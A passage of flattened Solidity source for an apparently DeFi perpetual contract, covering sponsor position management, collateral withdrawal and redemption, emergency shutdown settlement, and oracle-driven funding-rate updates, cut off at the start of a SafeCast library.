collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); } /** * @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw from their position. * @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated. * @param collateralAmount the amount of collateral requested to withdraw */ function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount) public notEmergencyShutdown() noPendingWithdrawal(msg.sender) nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require( collateralAmount.isGreaterThan(0) && collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral)) ); // Update the position object for the user. positionData.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness); positionData.withdrawalRequestAmount = collateralAmount; emit RequestWithdrawal(msg.sender, collateralAmount.rawValue); } /** * @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting * `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency. * @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested * amount exceeds the collateral in the position (due to paying fees). * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdrawPassedRequest() external notEmergencyShutdown() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require( positionData.withdrawalRequestPassTimestamp != 0 && positionData.withdrawalRequestPassTimestamp <= getCurrentTime() ); // If withdrawal request amount is > position collateral, then withdraw the full collateral amount. // This situation is possible due to fees charged since the withdrawal was originally requested. FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount; if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) { amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral); } // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); // Transfer approved withdrawal amount from the contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue); } /** * @notice Cancels a pending withdrawal request. */ function cancelWithdrawal() external notEmergencyShutdown() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); // No pending withdrawal require message removed to save bytecode. require(positionData.withdrawalRequestPassTimestamp != 0); emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); } /** * @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount * ` into the sponsor's position and mints `numTokens` of `tokenCurrency`. * @dev This contract must have the Minter role for the `tokenCurrency`. * @dev Reverts if minting these tokens would put the position's collateralization ratio below the * global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of * `collateralCurrency`. * @param collateralAmount is the number of collateral tokens to collateralize the position with * @param numTokens is the number of tokens to mint from the position. */ function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) public notEmergencyShutdown() fees() nonReentrant() { PositionData storage positionData = positions[msg.sender]; // Either the new create ratio or the resultant position CR must be above the current GCR. require( (_checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount), positionData.tokensOutstanding.add(numTokens) ) || _checkCollateralization(collateralAmount, numTokens)), "Insufficient collateral" ); require(positionData.withdrawalRequestPassTimestamp == 0); if (positionData.tokensOutstanding.isEqual(0)) { require(numTokens.isGreaterThanOrEqual(minSponsorTokens)); emit NewSponsor(msg.sender); } // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); // Add the number of tokens created to the position's outstanding tokens. positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens); totalTokensOutstanding = totalTokensOutstanding.add(numTokens); emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue); // Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); // Note: revert reason removed to save bytecode. require(tokenCurrency.mint(msg.sender, numTokens.rawValue)); } /** * @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`. * @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral * in order to account for precision loss. This contract must be approved to spend at least `numTokens` of * `tokenCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function redeem(FixedPoint.Unsigned memory numTokens) public notEmergencyShutdown() noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding)); FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding); FixedPoint.Unsigned memory collateralRedeemed = fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral)); // If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize. if (positionData.tokensOutstanding.isEqual(numTokens)) { amountWithdrawn = _deleteSponsorPosition(msg.sender); } else { // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed); // Decrease the sponsors position tokens size. Ensure it is above the min sponsor size. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens)); positionData.tokensOutstanding = newTokenCount; // Update the totalTokensOutstanding after redemption. totalTokensOutstanding = totalTokensOutstanding.sub(numTokens); } emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue); // Transfer collateral from contract to caller and burn callers synthetic tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue); tokenCurrency.burn(numTokens.rawValue); } /** * @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`. * This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens. * @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param numTokens is the number of tokens to be burnt from the sponsor's debt position. */ function repay(FixedPoint.Unsigned memory numTokens) public notEmergencyShutdown() noPendingWithdrawal(msg.sender) fees() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding)); // Decrease the sponsors position tokens size. Ensure it is above the min sponsor size. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens)); positionData.tokensOutstanding = newTokenCount; // Update the totalTokensOutstanding after redemption. totalTokensOutstanding = totalTokensOutstanding.sub(numTokens); emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue); // Transfer the tokens back from the sponsor and burn them. tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue); tokenCurrency.burn(numTokens.rawValue); } /** * @notice If the contract is emergency shutdown then all token holders and sponsors can redeem their tokens or * remaining collateral for underlying at the prevailing price defined by a DVM vote. * @dev This burns all tokens from the caller of `tokenCurrency` and sends back the resolved settlement value of * `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for * precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance. * @dev This contract must have the Burner role for the `tokenCurrency`. * @dev Note that this function does not call the updateFundingRate modifier to update the funding rate as this * function is only called after an emergency shutdown & there should be no funding rate updates after the shutdown. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function settleEmergencyShutdown() external isEmergencyShutdown() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { // Set the emergency shutdown price as resolved from the DVM. If DVM has not resolved will revert. if (emergencyShutdownPrice.isEqual(FixedPoint.fromUnscaledUint(0))) { emergencyShutdownPrice = _getOracleEmergencyShutdownPrice(); } // Get caller's tokens balance and calculate amount of underlying entitled to them. FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender)); FixedPoint.Unsigned memory totalRedeemableCollateral = _getFundingRateAppliedTokenDebt(tokensToRedeem).mul(emergencyShutdownPrice); // If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt. PositionData storage positionData = positions[msg.sender]; if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) { // Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying with // the funding rate applied to the outstanding token debt. FixedPoint.Unsigned memory tokenDebtValueInCollateral = _getFundingRateAppliedTokenDebt(positionData.tokensOutstanding).mul(emergencyShutdownPrice); FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral); // If the debt is greater than the remaining collateral, they cannot redeem anything. FixedPoint.Unsigned memory positionRedeemableCollateral = tokenDebtValueInCollateral.isLessThan(positionCollateral) ? positionCollateral.sub(tokenDebtValueInCollateral) : FixedPoint.Unsigned(0); // Add the number of redeemable tokens for the sponsor to their total redeemable collateral. totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral); // Reset the position state as all the value has been removed after settlement. delete positions[msg.sender]; emit EndedSponsorPosition(msg.sender); } // Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized, // the caller will get as much collateral as the contract can pay out. FixedPoint.Unsigned memory payout = FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral); // Decrement total contract collateral and outstanding debt. amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout); totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem); emit SettleEmergencyShutdown(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue); // Transfer tokens & collateral and burn the redeemed tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue); tokenCurrency.burn(tokensToRedeem.rawValue); } /**************************************** * GLOBAL STATE FUNCTIONS * ****************************************/ /** * @notice Premature contract settlement under emergency circumstances. * @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`. * Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal * to occur via the `settleEmergencyShutdown` function. */ function emergencyShutdown() external override notEmergencyShutdown() fees() nonReentrant() { // Note: revert reason removed to save bytecode. require(msg.sender == _getFinancialContractsAdminAddress()); emergencyShutdownTimestamp = getCurrentTime(); _requestOraclePrice(emergencyShutdownTimestamp); emit EmergencyShutdown(msg.sender, emergencyShutdownTimestamp); } /** * @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they * reflect the NAV of the contract. However, this functionality doesn't apply to this contract. * @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable * only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing. */ function remargin() external override { return; } /** * @notice Accessor method for a sponsor's collateral. * @dev This is necessary because the struct returned by the positions() method shows * rawCollateral, which isn't a user-readable value. * @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for * example if the `lastPaymentTime != currentTime`. * @param sponsor address whose collateral amount is retrieved. * @return collateralAmount amount of collateral within a sponsors position. */ function getCollateral(address sponsor) external view nonReentrantView() returns (FixedPoint.Unsigned memory collateralAmount) { // Note: do a direct access to avoid the validity check. return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral)); } /** * @notice Accessor method for the total collateral stored within the PerpetualPositionManager. * @return totalCollateral amount of all collateral within the position manager. */ function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory totalCollateral) { return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral)); } function getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt) external view nonReentrantView() returns (FixedPoint.Unsigned memory totalCollateral) { return _getFundingRateAppliedTokenDebt(rawTokenDebt); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire // position if the entire position is being removed. Does not make any external transfers. function _reduceSponsorPosition( address sponsor, FixedPoint.Unsigned memory tokensToRemove, FixedPoint.Unsigned memory collateralToRemove, FixedPoint.Unsigned memory withdrawalAmountToRemove ) internal { PositionData storage positionData = _getPositionData(sponsor); // If the entire position is being removed, delete it instead. if ( tokensToRemove.isEqual(positionData.tokensOutstanding) && _getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove) ) { _deleteSponsorPosition(sponsor); return; } // Decrement the sponsor's collateral and global collateral amounts. _decrementCollateralBalances(positionData, collateralToRemove); // Ensure that the sponsor will meet the min position size after the reduction. positionData.tokensOutstanding = positionData.tokensOutstanding.sub(tokensToRemove); require(positionData.tokensOutstanding.isGreaterThanOrEqual(minSponsorTokens)); // Decrement the position's withdrawal amount. positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove); // Decrement the total outstanding tokens in the overall contract. totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove); } // Deletes a sponsor's position and updates global counters. Does not make any external transfers. function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) { PositionData storage positionToLiquidate = _getPositionData(sponsor); FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral); // Remove the collateral and outstanding from the overall total position. rawTotalPositionCollateral = rawTotalPositionCollateral.sub(positionToLiquidate.rawCollateral); totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding); // Reset the sponsors position to have zero outstanding and collateral. delete positions[sponsor]; emit EndedSponsorPosition(sponsor); // Return fee-adjusted amount of collateral deleted from position. return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral)); } function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalPositionCollateral); } function _getPositionData(address sponsor) internal view onlyCollateralizedPosition(sponsor) returns (PositionData storage) { return positions[sponsor]; } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } function _getOracle() internal view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getFinancialContractsAdminAddress() internal view returns (address) { return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin); } // Requests a price for `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePrice(uint256 requestedTime) internal { _getOracle().requestPrice(priceIdentifier, requestedTime); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory price) { // Create an instance of the oracle and get the price. If the price is not resolved revert. int256 oraclePrice = _getOracle().getPrice(priceIdentifier, requestedTime); // For now we don't want to deal with negative prices in positions. if (oraclePrice < 0) { oraclePrice = 0; } return FixedPoint.Unsigned(uint256(oraclePrice)); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOracleEmergencyShutdownPrice() internal view returns (FixedPoint.Unsigned memory) { return _getOraclePrice(emergencyShutdownTimestamp); } // Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0. function _resetWithdrawalRequest(PositionData storage positionData) internal { positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0); positionData.withdrawalRequestPassTimestamp = 0; } // Ensure individual and global consistency when increasing collateral balances. Returns the change to the position. function _incrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _addCollateral(positionData.rawCollateral, collateralAmount); return _addCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the // position. We elect to return the amount that the global collateral is decreased by, rather than the individual // position's collateral, because we need to maintain the invariant that the global collateral is always // <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn. function _decrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position. // This function is similar to the _decrementCollateralBalances function except this function checks position GCR // between the decrements. This ensures that collateral removal will not leave the position undercollateralized. function _decrementCollateralBalancesCheckGCR( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); require(_checkPositionCollateralization(positionData), "CR below GCR"); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _onlyCollateralizedPosition(address sponsor) internal view { require(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0)); } // Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the // `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral // or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`. function _positionHasNoPendingWithdrawal(address sponsor) internal view { require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0); } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) { return _checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral), positionData.tokensOutstanding ); } // Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global // collateralization ratio. function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private view returns (bool) { FixedPoint.Unsigned memory global = _getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding); FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens); return !global.isGreaterThan(thisChange); } function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private pure returns (FixedPoint.Unsigned memory ratio) { return numTokens.isLessThanOrEqual(0) ? FixedPoint.fromUnscaledUint(0) : collateral.div(numTokens); } function _getTokenAddress() internal view override returns (address) { return address(tokenCurrency); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/utils/SafeCast.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../common/implementation/Lockable.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../../oracle/implementation/Constants.sol"; import "../../oracle/interfaces/OptimisticOracleInterface.sol"; import "../perpetual-multiparty/ConfigStoreInterface.sol"; import "./EmergencyShutdownable.sol"; import "./FeePayer.sol"; /** * @title FundingRateApplier contract. * @notice Provides funding rate payment functionality for the Perpetual contract. */ abstract contract FundingRateApplier is EmergencyShutdownable, FeePayer { using FixedPoint for FixedPoint.Unsigned; using FixedPoint for FixedPoint.Signed; using SafeERC20 for IERC20; using SafeMath for uint256; /**************************************** * FUNDING RATE APPLIER DATA STRUCTURES * ****************************************/ struct FundingRate { // Current funding rate value. FixedPoint.Signed rate; // Identifier to retrieve the funding rate. bytes32 identifier; // Tracks the cumulative funding payments that have been paid to the sponsors. // The multiplier starts at 1, and is updated by computing cumulativeFundingRateMultiplier * (1 + effectivePayment). // Put another way, the cumulativeFeeMultiplier is (1 + effectivePayment1) * (1 + effectivePayment2) ... // For example: // The cumulativeFundingRateMultiplier should start at 1. // If a 1% funding payment is paid to sponsors, the multiplier should update to 1.01. // If another 1% fee is charged, the multiplier should be 1.01^2 (1.0201). FixedPoint.Unsigned cumulativeMultiplier; // Most recent time that the funding rate was updated. uint256 updateTime; // Most recent time that the funding rate was applied and changed the cumulative multiplier. uint256 applicationTime; // The time for the active (if it exists) funding rate proposal. 0 otherwise. uint256 proposalTime; } FundingRate public fundingRate; // Remote config store managed an owner. ConfigStoreInterface public configStore; /**************************************** * EVENTS * ****************************************/ event FundingRateUpdated(int256 newFundingRate, uint256 indexed updateTime, uint256 reward); /**************************************** * MODIFIERS * ****************************************/ // This is overridden to both pay fees (which is done by applyFundingRate()) and apply the funding rate. modifier fees override { // Note: the funding rate is applied on every fee-accruing transaction, where the total change is simply the // rate applied linearly since the last update. This implies that the compounding rate depends on the frequency // of update transactions that have this modifier, and it never reaches the ideal of continuous compounding. // This approximate-compounding pattern is common in the Ethereum ecosystem because of the complexity of // compounding data on-chain. applyFundingRate(); _; } // Note: this modifier is intended to be used if the caller intends to _only_ pay regular fees. modifier paysRegularFees { payRegularFees(); _; } /** * @notice Constructs the FundingRateApplier contract. Called by child contracts. * @param _fundingRateIdentifier identifier that tracks the funding rate of this contract. * @param _collateralAddress address of the collateral token. * @param _finderAddress Finder used to discover financial-product-related contracts. * @param _configStoreAddress address of the remote configuration store managed by an external owner. * @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index). * @param _timerAddress address of the timer contract in test envs, otherwise 0x0. */ constructor( bytes32 _fundingRateIdentifier, address _collateralAddress, address _finderAddress, address _configStoreAddress, FixedPoint.Unsigned memory _tokenScaling, address _timerAddress ) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) EmergencyShutdownable() { uint256 currentTime = getCurrentTime(); fundingRate.updateTime = currentTime; fundingRate.applicationTime = currentTime; // Seed the cumulative multiplier with the token scaling, from which it will be scaled as funding rates are // applied over time. fundingRate.cumulativeMultiplier = _tokenScaling; fundingRate.identifier = _fundingRateIdentifier; configStore = ConfigStoreInterface(_configStoreAddress); } /** * @notice This method takes 3 distinct actions: * 1. Pays out regular fees. * 2. If possible, resolves the outstanding funding rate proposal, pulling the result in and paying out the rewards. * 3. Applies the prevailing funding rate over the most recent period. */ function applyFundingRate() public paysRegularFees() nonReentrant() { _applyEffectiveFundingRate(); } /** * @notice Proposes a new funding rate. Proposer receives a reward if correct. * @param rate funding rate being proposed. * @param timestamp time at which the funding rate was computed. */ function proposeFundingRate(FixedPoint.Signed memory rate, uint256 timestamp) external fees() nonReentrant() returns (FixedPoint.Unsigned memory totalBond) { require(fundingRate.proposalTime == 0, "Proposal in progress"); _validateFundingRate(rate); // Timestamp must be after the last funding rate update time, within the last 30 minutes. uint256 currentTime = getCurrentTime(); uint256 updateTime = fundingRate.updateTime; require( timestamp > updateTime && timestamp >= currentTime.sub(_getConfig().proposalTimePastLimit), "Invalid proposal time" ); // Set the proposal time in order to allow this contract to track this request. fundingRate.proposalTime = timestamp; OptimisticOracleInterface optimisticOracle = _getOptimisticOracle(); // Set up optimistic oracle. bytes32 identifier = fundingRate.identifier; bytes memory ancillaryData = _getAncillaryData(); // Note: requestPrice will revert if `timestamp` is less than the current block timestamp. optimisticOracle.requestPrice(identifier, timestamp, ancillaryData, collateralCurrency, 0); totalBond = FixedPoint.Unsigned( optimisticOracle.setBond( identifier, timestamp, ancillaryData, _pfc().mul(_getConfig().proposerBondPercentage).rawValue ) ); // Pull bond from caller and send to optimistic oracle. if (totalBond.isGreaterThan(0)) { collateralCurrency.safeTransferFrom(msg.sender, address(this), totalBond.rawValue); collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), totalBond.rawValue); } optimisticOracle.proposePriceFor( msg.sender, address(this), identifier, timestamp, ancillaryData, rate.rawValue ); } // Returns a token amount scaled by the current funding rate multiplier. // Note: if the contract has paid fees since it was deployed, the raw value should be larger than the returned value. function _getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt) internal view returns (FixedPoint.Unsigned memory tokenDebt) { return rawTokenDebt.mul(fundingRate.cumulativeMultiplier); } function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) { return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle)); } function _getConfig() internal returns (ConfigStoreInterface.ConfigSettings memory) { return configStore.updateAndGetCurrentConfig(); } function _updateFundingRate() internal { uint256 proposalTime = fundingRate.proposalTime; // If there is no pending proposal then do nothing. Otherwise check to see if we can update the funding rate. if (proposalTime != 0) { // Attempt to update the funding rate. OptimisticOracleInterface optimisticOracle = _getOptimisticOracle(); bytes32 identifier = fundingRate.identifier; bytes memory ancillaryData = _getAncillaryData(); // Try to get the price from the optimistic oracle. This call will revert if the request has not resolved // yet. If the request has not resolved yet, then we need to do additional checks to see if we should // "forget" the pending proposal and allow new proposals to update the funding rate. try optimisticOracle.settleAndGetPrice(identifier, proposalTime, ancillaryData) returns (int256 price) { // If successful, determine if the funding rate state needs to be updated. // If the request is more recent than the last update then we should update it. uint256 lastUpdateTime = fundingRate.updateTime; if (proposalTime >= lastUpdateTime) { // Update funding rates fundingRate.rate = FixedPoint.Signed(price); fundingRate.updateTime = proposalTime; // If there was no dispute, send a reward. FixedPoint.Unsigned memory reward = FixedPoint.fromUnscaledUint(0); OptimisticOracleInterface.Request memory request = optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData); if (request.disputer == address(0)) { reward = _pfc().mul(_getConfig().rewardRatePerSecond).mul(proposalTime.sub(lastUpdateTime)); if (reward.isGreaterThan(0)) { _adjustCumulativeFeeMultiplier(reward, _pfc()); collateralCurrency.safeTransfer(request.proposer, reward.rawValue); } } // This event will only be emitted after the fundingRate struct's "updateTime" has been set // to the latest proposal's proposalTime, indicating that the proposal has been published. // So, it suffices to just emit fundingRate.updateTime here. emit FundingRateUpdated(fundingRate.rate.rawValue, fundingRate.updateTime, reward.rawValue); } // Set proposal time to 0 since this proposal has now been resolved. fundingRate.proposalTime = 0; } catch { // Stop tracking and allow other proposals to come in if: // - The requester address is empty, indicating that the Oracle does not know about this funding rate // request. This is possible if the Oracle is replaced while the price request is still pending. // - The request has been disputed. OptimisticOracleInterface.Request memory request = optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData); if (request.disputer != address(0) || request.proposer == address(0)) { fundingRate.proposalTime = 0; } } } } // Constraining the range of funding rates limits the PfC for any dishonest proposer and enhances the // perpetual's security. For example, let's examine the case where the max and min funding rates // are equivalent to +/- 500%/year. This 1000% funding rate range allows a 8.6% profit from corruption for a // proposer who can deter honest proposers for 74 hours: // 1000%/year / 360 days / 24 hours * 74 hours max attack time = ~ 8.6%. // How would attack work? Imagine that the market is very volatile currently and that the "true" funding // rate for the next 74 hours is -500%, but a dishonest proposer successfully proposes a rate of +500% // (after a two hour liveness) and disputes honest proposers for the next 72 hours. This results in a funding // rate error of 1000% for 74 hours, until the DVM can set the funding rate back to its correct value. function _validateFundingRate(FixedPoint.Signed memory rate) internal { require( rate.isLessThanOrEqual(_getConfig().maxFundingRate) && rate.isGreaterThanOrEqual(_getConfig().minFundingRate) ); } // Fetches a funding rate from the Store, determines the period over which to compute an effective fee, // and multiplies the current multiplier by the effective fee. // A funding rate < 1 will reduce the multiplier, and a funding rate of > 1 will increase the multiplier. // Note: 1 is set as the neutral rate because there are no negative numbers in FixedPoint, so we decide to treat // values < 1 as "negative". function _applyEffectiveFundingRate() internal { // If contract is emergency shutdown, then the funding rate multiplier should no longer change. if (emergencyShutdownTimestamp != 0) { return; } uint256 currentTime = getCurrentTime(); uint256 paymentPeriod = currentTime.sub(fundingRate.applicationTime); _updateFundingRate(); // Update the funding rate if there is a resolved proposal. fundingRate.cumulativeMultiplier = _calculateEffectiveFundingRate( paymentPeriod, fundingRate.rate, fundingRate.cumulativeMultiplier ); fundingRate.applicationTime = currentTime; } function _calculateEffectiveFundingRate( uint256 paymentPeriodSeconds, FixedPoint.Signed memory fundingRatePerSecond, FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier ) internal pure returns (FixedPoint.Unsigned memory newCumulativeFundingRateMultiplier) { // Note: this method uses named return variables to save a little bytecode. // The overall formula that this function is performing: // newCumulativeFundingRateMultiplier = // (1 + (fundingRatePerSecond * paymentPeriodSeconds)) * currentCumulativeFundingRateMultiplier. FixedPoint.Signed memory ONE = FixedPoint.fromUnscaledInt(1); // Multiply the per-second rate over the number of seconds that have elapsed to get the period rate. FixedPoint.Signed memory periodRate = fundingRatePerSecond.mul(SafeCast.toInt256(paymentPeriodSeconds)); // Add one to create the multiplier to scale the existing fee multiplier. FixedPoint.Signed memory signedPeriodMultiplier = ONE.add(periodRate); // Max with 0 to ensure the multiplier isn't negative, then cast to an Unsigned. FixedPoint.Unsigned memory unsignedPeriodMultiplier = FixedPoint.fromSigned(FixedPoint.max(signedPeriodMultiplier, FixedPoint.fromUnscaledInt(0))); // Multiply the existing cumulative funding rate multiplier by the computed period multiplier to get the new // cumulative funding rate multiplier. newCumulativeFundingRateMultiplier = currentCumulativeFundingRateMultiplier.mul(unsignedPeriodMultiplier); } function _getAncillaryData() internal view returns (bytes memory) { // Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address // whose funding rate it's trying to get. return abi.encodePacked(_getTokenAddress()); } function _getTokenAddress() internal view virtual returns (address); } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's uintXX casting operators with added overflow * checks. * * Downcasting from uint256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined 